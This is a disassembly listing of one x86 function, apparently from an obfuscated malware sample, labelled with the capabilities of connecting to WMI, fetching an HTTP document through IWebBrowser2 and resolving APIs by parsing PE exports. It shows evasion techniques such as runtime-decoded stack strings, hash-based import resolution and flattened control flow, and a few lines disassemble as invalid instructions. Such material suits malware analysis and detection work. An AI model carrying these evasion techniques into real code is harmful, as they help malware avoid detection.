Function at 0x43f850
Capabilities:
Connect to wmi namespace via wbemlocator
Get http document via iwebbrowser2
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xa8
mov esi, dword [0x456084]
mov dword [esp + 0x20], 0x57094925
mov dword [esp + 0x24], 0x53ed55ed
mov dword [esp + 0x28], 0x5ff351ec
mov dword [esp + 0x2c], 0x5b165de9
mov dword [esp + 0x30], 0xa70f59e6
mov dword [esp + 0x34], 0xa30fa51e
mov dword [esp + 0x38], 0xafaea1cd
mov byte [esp + 0x3c], 0
mov dword [esp + 0x78], 0
mov eax, dword [esp + 0x78]
cmp eax, 0x1c
ja 0x43f8eb
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x78]
movzx eax, byte [esp + eax + 0x20]
push dword [esp + 0x78]
push eax
call fcn.004434f0
add esp, 8
mov ecx, dword [esp + 0x78]
mov byte [esp + ecx + 0x20], al
inc dword [esp + 0x78]
mov eax, dword [esp + 0x78]
cmp eax, 0x1d
jb 0x43f8c0
lea eax, [esp + 0x88]
lea edi, [esp + 0x78]
lea ebx, [esp + 0x20]
push eax
push 8
push edi
push 0xd
push ebx
push 0
call esi
shr eax, 0x1f
jmp dword [eax*4 + 0x45394c]
mov word [esp + 0x78], 0x43
mov word [esp + 0x7a], 0x3a
mov eax, dword [case.0x43f908.0]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
mov dword [esp + 0x7c], 0x5c
mov dword [esp + 0x94], 0
mov dword [esp + 0x90], 0
mov dword [esp + 0x8c], 0
mov dword [esp + 0x88], 0
mov dword [esp + 0x68], 0
lea eax, [esp + 0x68]
push eax
push 0x44dcd0
push 1
push 0
push 0x44dce0
call dword [sym.imp.ole32.dll_CoCreateInstance]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x453964]
mov dword [esp + 0x20], 0xc97bcb62
mov dword [esp + 0x24], 0xc56ac779
mov dword [esp + 0x28], 0xc17fc360
mov dword [esp + 0x2c], 0xbd0dbf77
mov dword [esp + 0x30], 0xb974bb16
mov dword [esp + 0x34], 0xb7b8
mov byte [esp + 0x38], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x18
ja 0x43fa06
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
movzx eax, byte [esp + eax + 0x20]
push dword [esp]
push eax
call fcn.00443570
add esp, 8
mov ecx, dword [esp]
mov byte [esp + ecx + 0x20], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x19
jb 0x43f9e0
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, eax
mov eax, dword [esp + 0x68]
mov ecx, dword [eax]
lea edx, [esp + 0x64]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push esi
push eax
call dword [ecx + 0xc]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x45396c]
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [esp + 0x80]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x453974]
jmp dword [0x45397c]
mov dword [esp + 0x20], 0xd19dcf95
mov dword [esp + 0x24], 0xd5d2d39c
mov byte [esp + 0x28], 0
jmp dword [0x453988]
mov dword [esp + 0x20], 0xd19dcf95
mov dword [esp + 0x24], 0xd5d2d39c
mov byte [esp + 0x28], 0
mov dword [esp + 0x20], 0xd19dcf95
mov dword [esp + 0x24], 0xd5d2d39c
mov byte [esp + 0x28], 0
jmp dword [0x453988]
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 8
ja 0x43fae6
nop
mov eax, dword [esp]
movzx eax, byte [esp + eax + 0x20]
push dword [esp]
push eax
call fcn.004435e0
add esp, 8
mov ecx, dword [esp]
mov byte [esp + ecx + 0x20], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 9
jb 0x43fac0
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esp + 0x74], eax
mov dword [esp + 0x20], 0xc971cb61
mov dword [esp + 0x24], 0xc57dc77c
mov dword [esp + 0x28], 0xc16ec379
mov dword [esp + 0x2c], 0xbd68bf20
mov dword [esp + 0x30], 0xb900bb5c
mov dword [esp + 0x34], 0xb507b716
mov dword [esp + 0x38], 0xb152b307
mov dword [esp + 0x3c], 0xad39af19
mov dword [esp + 0x40], 0xa967ab3e
mov dword [esp + 0x44], 0xa507a766
mov dword [esp + 0x48], 0xa115a31a
mov dword [esp + 0x4c], 0x9d339f11
mov word [esp + 0x50], 0x9b9c
mov dword [esp + 0x52], 0
mov byte [esp + 0x56], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x36
ja 0x43fba6
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
movzx eax, byte [esp + eax + 0x20]
push dword [esp]
push eax
call fcn.00443660
add esp, 8
mov ecx, dword [esp]
mov byte [esp + ecx + 0x20], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x37
jb 0x43fb80
mov dword [esp + 0xa0], esi
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, dword [esp + 0x64]
mov ecx, dword [esi]
lea edx, [esp + 0x60]
push edx
push 0
push 0x30
mov dword [esp + 0xa8], eax
push eax
push dword [esp + 0x84]
push esi
call dword [ecx + 0x50]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x45398c]
jmp dword [0x453998]
mov dword [esp + 0x18], 0
mov eax, dword [esp + 0x60]
mov ecx, dword [eax]
lea edx, [esp + 0x18]
lea esi, [esp + 0x1c]
push edx
push esi
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [esp + 0x18], 0
mov eax, dword [esp + 0x60]
mov ecx, dword [eax]
lea edx, [esp + 0x18]
lea esi, [esp + 0x1c]
push edx
push esi
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
jmp dword [0x4539a0]
test eax, eax
setns cl
cmp eax, 1
setne al
cmp dword [esp + 0x18], 0
setne dl
and dl, al
and dl, cl
movzx eax, dl
jmp dword [eax*4 + 0x4539a4]
mov eax, esp
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov esi, dword [esp + 0x1c]
mov dword [esp + 0x20], 0x9f7b994f
mov dword [esp + 0x24], 0xa34b9d6a
mov dword [esp + 0x28], 0xa74aa141
mov dword [esp + 0x2c], 0xab5fa576
mov dword [esp + 0x30], 0xaf48a945
mov dword [esp + 0x34], 0xb344ad49
mov dword [esp + 0x38], 0xb1b0
mov byte [esp + 0x3c], 0
mov dword [esp + 0x14], 0
mov eax, dword [esp + 0x14]
cmp eax, 0x1c
ja 0x43fceb
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x14]
movzx eax, byte [esp + eax + 0x20]
push dword [esp + 0x14]
push eax
call fcn.004436e0
add esp, 8
mov ecx, dword [esp + 0x14]
mov byte [esp + ecx + 0x20], al
inc dword [esp + 0x14]
mov eax, dword [esp + 0x14]
cmp eax, 0x1d
jb 0x43fcc0
mov eax, dword [esi]
push 0
push 0
lea ecx, [esp + 8]
push ecx
push 0
push ebx
push esi
call dword [eax + 0x10]
test eax, eax
setns al
cmp word [esp], 8
sete cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x4539ac]
push dword [esp + 8]
call dword [sym.imp.OLEAUT32.dll_VariantInit]
mov edx, eax
mov esi, dword [esp + 8]
lea eax, [esi + eax*2]
mov dword [esp + 0x70], eax
movzx ecx, word [esi]
test cx, cx
mov dword [esp + 0x5c], edx
je 0x43fd79
xor edi, edi
mov eax, esi
jmp 0x43fd51
add edi, edx
movzx ecx, word [eax + 2]
add eax, 2
test cx, cx
lea ebx, [esp + 0x20]
je 0x43fd7b
cmp eax, dword [esp + 0x70]
jae 0x43fd7b
movzx ebx, cx
cmp ebx, 0x800
mov ecx, 3
sbb ecx, 0
mov edx, 1
cmp ebx, 0x80
jb 0x43fd3f
mov edx, ecx
jmp 0x43fd3f
xor edi, edi
lea eax, [edi + 1]
mov dword [esp + 0x6c], eax
push eax
call fcn.0040c8b0
add esp, 4
mov dword [esp + 0x58], eax
test edi, edi
jle 0x43fe66
mov eax, dword [esp + 0x58]
cmp dword [esp + 0x5c], 0
jle 0x43fe66
mov eax, dword [esp + 0x58]
lea ecx, [eax + edi]
mov dword [esp + 0x5c], ecx
add dword [esp + 0x6c], eax
add esi, 2
movzx edx, word [esi - 2]
test dx, dx
je 0x43fe66
cmp dx, 0x7f
ja 0x43fdd4
mov byte [eax], dl
mov ebx, 1
jmp 0x43fe45
mov ecx, eax
not ecx
add ecx, dword [esp + 0x6c]
movzx ebx, dx
cmp ecx, 2
jb 0x43fe06
cmp ebx, 0x7ff
ja 0x43fe06
mov ecx, edx
shr ecx, 6
add cl, 0xc0
mov byte [eax], cl
and dl, 0x3f
or dl, 0x80
mov byte [eax + 1], dl
mov ebx, 2
jmp 0x43fe45
mov dword [esp + 0x98], ebx
xor ebx, ebx
cmp ecx, 3
jb 0x43fe45
mov ebx, dword [esp + 0x98]
mov ecx, ebx
shr ecx, 0xc
or cl, 0xe0
mov byte [eax], cl
shr ebx, 6
mov ecx, ebx
not cl
or cl, 0x3f
add cl, bl
add cl, 0x81
mov byte [eax + 1], cl
and dl, 0x3f
or dl, 0x80
mov byte [eax + 2], dl
mov ebx, 3
add eax, ebx
cmp eax, dword [esp + 0x5c]
jae 0x43fe62
lea ecx, [esi + 2]
cmp esi, dword [esp + 0x70]
mov esi, ecx
lea ebx, [esp + 0x20]
jb 0x43fdb8
jmp 0x43fe66
lea ebx, [esp + 0x20]
mov byte [eax], 0
xor ecx, ecx
mov edx, dword [case.0x43fd0f.8]
xor eax, eax
cmp ecx, 4
setb al
mov esi, dword [esp + 0x58]
jmp dword [eax*4 + 0x4539b4]
mov eax, dword [esi + ecx*4]
mov dword [esp + ecx*4 + 0x88], eax
add edi, 0xfffffffc
xor eax, eax
cmp edi, 4
setb al
jmp dword [eax*4 + 0x4539bc]
inc ecx
nop
nop
nop
jmp edx
xor eax, eax
cmp ecx, 4
setb al
jmp dword [eax*4 + 0x4539b4]
lea edi, [esp + 0x78]
jmp dword [0x4539d4]
push esi
call fcn.0040c8c0
add esp, 4
mov esi, esp
jmp dword [0x4539dc]
mov esi, esp
jmp dword [0x4539dc]
push esi
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esp + 0x1c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push esi
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esp + 0x1c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp dword [0x4539e4]
mov eax, dword [esp + 0x60]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
push dword [esp + 0x74]
call esi
push dword [esp + 0x9c]
call esi
mov esi, dword [esp + 0xa0]
mov eax, dword [esp + 0x64]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push esi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0x68]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [esp + 0x20], 0
push 0xefddb36b
push dword [0x45607c]
call fcn.00449620
add esp, 8
push 0
push 0
push 0
push 0
push ebx
push 0
push 0
push edi
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x4539ec]
mov esi, dword [ebp + 8]
mov eax, dword [esp + 0x20]
mov dword [esp + 0x88], eax
xor edi, edi
xor eax, eax
cmp edi, 4
setb al
jmp dword [eax*4 + 0x4539f4]
xor ecx, ecx
test edi, edi
setne cl
mov eax, edi
jmp dword [ecx*4 + 0x4539fc]
xor ecx, ecx
cmp dword [esp + edi*4 + 0x88], 0
sete cl
mov eax, edi
jmp dword [ecx*4 + 0x453a04]
mov eax, edi
and eax, 0xfffffffe
add eax, eax
mov ecx, edi
xor ecx, 1
sub eax, ecx
mov eax, dword [esp + eax*4 + 0x88]
mov ecx, eax
and ecx, 0x1a5845
mov edx, eax
or eax, 0x1a5845
imul eax, ecx
xor ecx, 0x1a5845
and edx, 0xffe5a7ba
imul edx, ecx
add eax, edx
add eax, 0xebde8a13
mov dword [esp + edi*4 + 0x88], eax
mov ebx, 0xfffffff7
push 0x10
push 9
push esi
push eax
call fcn.00437130
add esp, 0x10
nop
nop
nop
cmp byte [eax + ebx + 9], 0
lea ebx, [ebx + 1]
jne case.default.0x440044
neg ebx
xor ecx, ecx
add ebx, 0xffffffff
setb cl
jmp dword [ecx*4 + 0x453a0c]
dec eax
jmp dword [0x453a18]
mov byte [eax], 0x30
nop
nop
nop
nop
nop
nop
mov byte [eax], 0x30
jmp dword [0x453a20]
xor ecx, ecx
add ebx, 0xffffffff
setb cl
jmp dword [ecx*4 + 0x453a0c]
add esi, 8
inc edi
xor eax, eax
cmp edi, 4
setb al
jmp dword [eax*4 + 0x4539f4]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
push 0x400
call fcn.00443850
add esp, 4
mov esi, eax
mov edi, dword [esp + 0x18]
mov dword [esp + 4], 0xe0e7e6e5
mov dword [esp + 8], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 7
ja 0x440136
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
movzx eax, byte [esp + eax + 4]
push dword [esp]
push eax
call fcn.00442f00
add esp, 8
mov ecx, dword [esp]
mov byte [esp + ecx + 4], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 8
jb 0x440110
mov eax, dword [esp + 4]
mov ecx, dword [0x456088]
test ecx, ecx
je case.default.0x440198
xor edx, edx
mov ebx, dword [0x45608c]
nop
nop
nop
nop
cmp dword [ebx + edx*8], 0x77a9e0c4
je 0x440160
inc edx
cmp ecx, edx
jne 0x440150
jmp case.default.0x440198
mov ecx, dword [ebx + edx*8 + 4]
cmp ecx, eax
je case.default.0x440198
lea eax, [esp + 0x20]
push 0x2f
push 0x400
push esi
push eax
push edi
push 5
push dword [0x456090]
push ecx
call fcn.00446c10
add esp, 0x20
not eax
shr eax, 0x1f
mov dword [esp + 0x14], 0
mov dword [esp + 0x1c], esi
jmp dword [eax*4 + 0x453a3c]
jmp dword [0x453a58]
mov ebp, dword [esp + 0x40]
xor eax, eax
xor ecx, ecx
mov dword [esp + 0x14], 0
cmp ecx, dword [esi]
setb al
xor ebx, ebx
jmp dword [eax*4 + 0x453a44]
mov ebp, esi
lea ecx, [esp + 4]
call fcn.00443d50
inc ebx
xor eax, eax
mov esi, dword [esp + 0x1c]
cmp ebx, dword [esi]
setb al
jmp dword [eax*4 + 0x453a44]
mov eax, dword [esi + ebx*4 + 4]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
lea edi, [esp + 4]
mov ecx, edi
push 0
push eax
call fcn.00443bd0
xor eax, eax
mov ecx, ebp
neg ecx
mov esi, ebp
mov ebp, dword [esp + 0x44]
sbb eax, ebp
setl al
movzx eax, al
shl eax, 0x14
or eax, 1
mov ecx, edi
push eax
call fcn.00443bf0
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x453a4c]
lea ecx, [esp + 4]
push ebp
push esi
push 0
call fcn.00443e10
test eax, eax
setns al
mov dword [esp + 0x14], eax
jmp case.0x440198.4
mov eax, dword [esp + 0x14]
and al, 1
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret
cmp dword [ebx + edx*8], 0x625b6034
je 0x440290
inc edx
cmp eax, edx
jne 0x440280
jmp case.0x440198.7
mov eax, dword [ebx + edx*8 + 4]
cmp eax, ecx
je case.0x440198.7
push edi
push 1
push dword [0x456090]
push eax
call fcn.00446c10
add esp, 0x10
push esi
call fcn.00443940
add esp, 4
mov edi, dword [esp + 0x18]
mov dword [esp + 4], 0xe0e7e6e5
mov dword [esp + 8], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 7
ja 0x440306
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
movzx eax, byte [esp + eax + 4]
push dword [esp]
push eax
call fcn.00442f00
add esp, 8
mov ecx, dword [esp]
mov byte [esp + ecx + 4], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 8
jb 0x4402e0
mov eax, dword [0x456088]
test eax, eax
je 0x440338
mov ecx, dword [esp + 4]
xor edx, edx
mov ebx, dword [0x45608c]
nop
nop
nop
nop
nop
cmp dword [ebx + edx*8], 0x625b6034
je 0x440330
inc edx
cmp eax, edx
jne 0x440320
jmp 0x440338
mov eax, dword [ebx + edx*8 + 4]
cmp eax, ecx
jne 0x4403b4
jmp dword [0x453a60]
push esi
call fcn.00443940
add esp, 4
mov edi, dword [esp + 0x18]
mov dword [esp + 4], 0xe0e7e6e5
mov dword [esp + 8], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 7
ja 0x440396
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
movzx eax, byte [esp + eax + 4]
push dword [esp]
push eax
call fcn.00442f00
add esp, 8
mov ecx, dword [esp]
mov byte [esp + ecx + 4], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 8
jb 0x440370
mov eax, dword [0x456088]
test eax, eax
je case.0x440198.7
mov ecx, dword [esp + 4]
xor edx, edx
mov ebx, dword [0x45608c]
jmp 0x440280
push edi
push 1
push dword [0x456090]
push eax
call fcn.00446c10
add esp, 0x10
jmp dword [0x453a60]
call fcn.0041d7c0
xor eax, eax
test esi, esi
setne cl
mov dword [ebp - 0x1e8], 0
mov edx, dword [ebp - 0x1ec]
mov ebx, dword [ebp - 0x1e8]
mov edx, dword [edx + ebx*4]
jmp edx
sub esp, 4
mov dword [esp], edi
call fcn.0041b2a0
add esp, 4
lea eax, [edi + eax*2]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x328]
mov ecx, dword [ebp - 0x32c]
mov eax, dword [ecx + eax*4]
jmp eax
mov ax, word [ebx]
xor ecx, ecx
sub ax, 0x5c
sete cl
mov dword [ebp - 0x2a0], ecx
mov eax, dword [ebp - 0x2a4]
mov ecx, dword [ebp - 0x2a0]
mov ecx, dword [eax + ecx*4]
xor eax, eax
jmp ecx
mov word [ebx], 0x5c
mov word [ebx + 2], 0
mov eax, dword [ebp - 0x100]
mov ecx, dword [ebp - 0x104]
mov eax, dword [ecx + eax*4]
jmp eax
mov word [ebx], 0
mov eax, dword [ebp - 0x340]
mov ecx, dword [ebp - 0x344]
mov eax, dword [ecx + eax*4]
mov edx, ebx
jmp eax
mov eax, dword [ebp - 0x148]
mov ecx, dword [ebp - 0x14c]
mov eax, dword [ecx + eax*4]
mov edx, esi
jmp eax
mov edx, dword [ebp - 0x220]
mov edi, dword [ebp - 0x224]
mov edx, dword [edi + edx*4]
jmp edx
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x6c]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x7c]
mov eax, dword [ecx + eax*4]
jmp eax
add edi, 4
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp - 0x124]
mov eax, dword [ecx + eax*4]
mov esi, edi
jmp eax
mov ax, word [edi]
test ax, ax
sete al
mov ecx, dword [ebp - 0x298]
mov edx, dword [ebp - 0x29c]
mov ecx, dword [edx + ecx*4]
mov edx, dword [ebp - 0x10]
jmp ecx
call fcn.0041d7c0
mov word [ebx], 0x5c
mov eax, ebx
add eax, 2
mov esi, edi
add esi, 2
mov dword [ebp - 0x2f8], 1
mov ecx, dword [ebp - 0x2fc]
mov edx, dword [ebp - 0x2f8]
mov ecx, dword [ecx + edx*4]
jmp ecx
sbb eax, 0x8b2fa912
test dword [eax - 1], edi
invalid
call fcn.0041d7c0
mov dword [ebp - 0x158], 1
mov eax, dword [ebp - 0x15c]
mov ecx, dword [ebp - 0x158]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [ebp - 0x48]
mov al, byte [eax]
mov byte [ebp - 0x2c], al
mov esi, dword [ebp - 0x4c]
mov byte [esi], 0x66
mov byte [esi + 1], 0x19
mov byte [esi + 2], 0x42
mov byte [esi + 3], 0x1f
mov byte [esi + 4], 0x1c
mov byte [esi + 5], 0x1d
mov eax, 6
mov byte [esi + eax], 0
add eax, 1
cmp eax, 9
jne 0x440e52
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x1c]
cmp eax, 9
jae 0x440e98
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
movzx ecx, byte [esi + ecx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.004437e0
add esp, 8
mov ecx, dword [ebp - 0x1c]
mov byte [esi + ecx], al
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x440e65
mov eax, dword [ebp - 0x200]
mov ecx, dword [ebp - 0x204]
mov eax, dword [ecx + eax*4]
jmp eax
mov ecx, dword [ebp - 0x1a0]
mov edx, dword [ebp - 0x1a4]
mov ecx, dword [edx + ecx*4]
jmp ecx
mov word [edx], 0
mov eax, dword [ebp - 0x110]
mov ecx, dword [ebp - 0x114]
mov eax, dword [ecx + eax*4]
mov edi, esi
jmp eax
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x13c]
mov eax, dword [ecx + eax*4]
jmp eax
sub esp, 0xc
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], edx
call fcn.00427030
mov edx, dword [ebp - 0x10]
add esp, 0xc
lea edx, [edx + esi*2]
lea esi, [edi + esi*2]
mov eax, dword [ebp - 0x118]
mov ecx, dword [ebp - 0x11c]
mov eax, dword [ecx + eax*4]
mov ebx, dword [ebp + 0xc]
jmp eax
mov ax, word [ebx]
xor ecx, ecx
test ax, ax
sete cl
mov dword [ebp - 0x108], ecx
mov eax, dword [ebp - 0x10c]
mov ecx, dword [ebp - 0x108]
mov eax, dword [eax + ecx*4]
jmp eax
mov ax, word [edi]
xor ecx, ecx
sub ax, 0x5c
sete cl
mov dword [ebp - 0x308], ecx
mov eax, dword [ebp - 0x30c]
mov ecx, dword [ebp - 0x308]
mov eax, dword [eax + ecx*4]
jmp eax
mov word [esi], 0x5c
mov word [ecx + 6], 0
mov eax, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0xb4]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0041d7c0
mov esi, dword [ebp - 0x3c]
add esi, 0x2ea7eb73
mov eax, esi
not eax
and eax, edi
mov ecx, edi
not ecx
and esi, ecx
sub esi, eax
add esi, 0xd158148d
sar esi, 1
mov ebx, esi
inc ebx
xor eax, eax
mov ecx, ebx
sub ecx, 1
sete cl
mov dword [ebp - 0x318], 1
mov edx, dword [ebp - 0x31c]
mov edi, dword [ebp - 0x318]
mov edx, dword [edx + edi*4]
mov edi, dword [ebp - 0x20]
jmp edx
inc al
movzx eax, al
and eax, 1
mov dword [ebp - 0x290], eax
mov eax, dword [ebp - 0x294]
mov ecx, dword [ebp - 0x290]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0041d7c0
mov dword [ebp - 0xc0], 1
mov eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0xc0]
mov eax, dword [eax + ecx*4]
jmp eax
mov al, cl
and eax, 1
mov dword [ebp - 0x2b8], eax
mov eax, dword [ebp - 0x2bc]
mov ecx, dword [ebp - 0x2b8]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x5c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0041d7c0
mov dword [ebp - 0x300], 1
mov eax, dword [ebp - 0x304]
mov ecx, dword [ebp - 0x300]
mov eax, dword [eax + ecx*4]
mov ebx, dword [ebp - 0x10]
jmp eax
xor eax, eax
mov ecx, ebx
sub ecx, 3
sete al
mov dword [ebp - 0x258], eax
mov eax, dword [ebp - 0x25c]
mov ecx, dword [ebp - 0x258]
mov eax, dword [eax + ecx*4]
mov edx, dword [ebp - 0x10]
jmp eax
mov al, cl
and eax, 1
mov dword [ebp - 0x310], eax
mov eax, dword [ebp - 0x314]
mov ecx, dword [ebp - 0x310]
mov eax, dword [eax + ecx*4]
jmp eax
mov dword [ebp - 0x10], edx
sub esp, 8
mov dword [esp], edi
mov dword [esp + 4], 0x5c
call fcn.00441860
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x3c], eax
test eax, eax
sete cl
mov dword [ebp - 0x330], ecx
mov eax, dword [ebp - 0x334]
mov ecx, dword [ebp - 0x330]
mov eax, dword [eax + ecx*4]
jmp eax
mov al, byte [ebp - 0x24]
mov byte [ebp - 0x28], al
mov byte [ebp - 0x38], 0x7a
mov byte [ebp - 0x37], 0x31
mov byte [ebp - 0x36], 0x96
mov byte [ebp - 0x35], 0x33
mov byte [ebp - 0x34], 0x2c
mov byte [ebp - 0x33], 0x2d
mov eax, 6
mov byte [ebp + eax - 0x38], 0
add eax, 1
cmp eax, 0xa
jne 0x44118d
mov dword [ebp - 0x18], 0
mov eax, dword [ebp - 0x18]
cmp eax, 0xa
jae 0x4411d6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
movzx ecx, byte [ebp + ecx - 0x38]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00443760
add esp, 8
mov ecx, dword [ebp - 0x18]
mov byte [ebp + ecx - 0x38], al
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
jmp 0x4411a1
mov edi, ebx
add edi, 2
sub esp, 8
lea eax, [ebp - 0x38]
mov dword [esp + 4], eax
mov dword [esp], edi
call fcn.004418a0
add esp, 8
xor ecx, ecx
test eax, eax
setne cl
mov dword [ebp - 0x2a8], ecx
mov eax, dword [ebp - 0x2ac]
mov ecx, dword [ebp - 0x2a8]
mov eax, dword [eax + ecx*4]
mov edx, dword [ebp - 0x10]
jmp eax
call fcn.0041d7c0
mov cx, word [ebx]
xor eax, eax
sub cx, 0x5c
sete cl
mov dword [ebp - 0x1c0], 1
mov edx, dword [ebp - 0x1c4]
mov esi, dword [ebp - 0x1c0]
mov edx, dword [edx + esi*4]
jmp edx
call fcn.0041d7c0
mov dword [ebp - 0x320], 1
mov eax, dword [ebp - 0x324]
mov ecx, dword [ebp - 0x320]
mov eax, dword [eax + ecx*4]
jmp eax
add edi, 2
mov eax, dword [ebp - 0x248]
mov ecx, dword [ebp - 0x24c]
mov eax, dword [ecx + eax*4]
jmp eax
mov ax, word [edi]
xor ecx, ecx
sub ax, 0x2e
sete cl
mov dword [ebp - 0x250], ecx
mov eax, dword [ebp - 0x254]
mov ecx, dword [ebp - 0x250]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0041d7c0
mov dword [ebp - 0x150], 0
mov eax, dword [ebp - 0x154]
mov ecx, dword [ebp - 0x150]
mov eax, dword [eax + ecx*4]
jmp eax
add edx, 0xfffffffe
mov eax, dword [ebp - 0x280]
mov ecx, dword [ebp - 0x284]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0041d7c0
xor eax, eax
mov ecx, dword [ebp - 0x10]
sub ecx, ebx
seta cl
mov dword [ebp - 0x2c0], 1
mov edx, dword [ebp - 0x2c4]
mov edi, dword [ebp - 0x2c0]
mov edx, dword [edx + edi*4]
jmp edx
cmpsd dword [esi], dword es:[edi]
invalid
call fcn.0041d7c0
mov dword [ebp - 0x1b0], 1
mov eax, dword [ebp - 0x1b4]
mov ecx, dword [ebp - 0x1b0]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [ebp - 0x288]
mov ecx, dword [ebp - 0x28c]
mov eax, dword [ecx + eax*4]
jmp eax
mov ax, word [esi]
xor ecx, ecx
sub ax, 0x5c
sete cl
mov dword [ebp - 0x160], ecx
mov eax, dword [ebp - 0x164]
mov ecx, dword [ebp - 0x160]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0041d7c0
mov dword [ebp - 0x270], 0
mov eax, dword [ebp - 0x274]
mov ecx, dword [ebp - 0x270]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [ebp - 0x348]
mov ecx, dword [ebp - 0x34c]
mov ecx, dword [ecx + eax*4]
xor eax, eax
jmp ecx
mov ebx, dword [ebp + 0xc]
mov ax, word [ebx]
xor ecx, ecx
test ax, ax
sete cl
mov dword [ebp - 0x208], ecx
mov eax, dword [ebp - 0x20c]
mov ecx, dword [ebp - 0x208]
mov eax, dword [eax + ecx*4]
jmp eax
mov al, cl
and eax, 1
mov dword [ebp - 0xe8], eax
mov eax, dword [ebp - 0xec]
mov ecx, dword [ebp - 0xe8]
mov eax, dword [eax + ecx*4]
jmp eax
mov ecx, dword [ebp - 0x2f0]
mov edx, dword [ebp - 0x2f4]
mov ecx, dword [edx + ecx*4]
mov edx, eax
mov ebx, dword [ebp + 0xc]
jmp ecx
add edi, 4
mov eax, dword [ebp - 0x260]
mov ecx, dword [ebp - 0x264]
mov eax, dword [ecx + eax*4]
mov esi, edi
mov ebx, dword [ebp + 0xc]
mov edx, dword [ebp - 0x10]
jmp eax
mov esi, ebx
add esi, 4
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xe4]
mov eax, dword [ecx + eax*4]
jmp eax
add dword [bp + di - 0x742a], edi
